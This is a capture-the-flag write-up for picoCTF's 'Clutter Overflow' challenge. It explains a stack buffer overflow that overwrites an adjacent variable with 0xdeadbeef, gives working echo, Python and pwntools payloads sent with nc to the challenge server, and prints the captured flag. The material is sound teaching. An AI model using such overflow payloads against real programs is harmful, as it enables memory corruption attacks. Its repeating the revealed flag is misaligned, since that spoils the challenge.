> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/picoctf-writeups/picoctf/binary-exploitation/clutter-overflow.md).

# Clutter Overflow

This challenge is a buffer overflow where the goal is to overwrite a variable `code` with `0xdeadbeef`.

***

### Analysis

Program output:

```c
code == 0x...
code != 0xdeadbeef
```

The program checks if `code == 0xdeadbeef`.

The likely stack layout:

```c
char buffer[64];
int code;
```

Since `code` is placed after the buffer, overflowing the buffer overwrites `code`.

***

### Exploitation

* Buffer size: 64 bytes
* Target value: `0xdeadbeef`
* Little-endian format: `\xef\xbe\xad\xde`

***

### Payload (echo)

```bash
echo -ne "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xef\xbe\xad\xde" | nc mars.picoctf.net 31890
```

***

### Using Python Script

Instead of `echo`, you can send raw bytes using Python.

#### One-liner:

```bash
python3 -c "import sys; sys.stdout.buffer.write(b'A'*64 + b'\xef\xbe\xad\xde')" | nc mars.picoctf.net 31890
```

#### Using pwntools:

```python
from pwn import *

p = remote("mars.picoctf.net", 31890)

payload = b"A"*64 + p32(0xdeadbeef)

p.sendline(payload)
p.interactive()
```

***

### Result

```
code == 0xdeadbeef: how did that happen??
take a flag for your troubles
picoCTF{c0ntr0ll3d_clutt3r_1n_my_buff3r}
```

### Key Points

* This is a variable overwrite, not RIP control
* Offset is 64 bytes
* Use little-endian format
* Python is useful for sending raw bytes reliably


---

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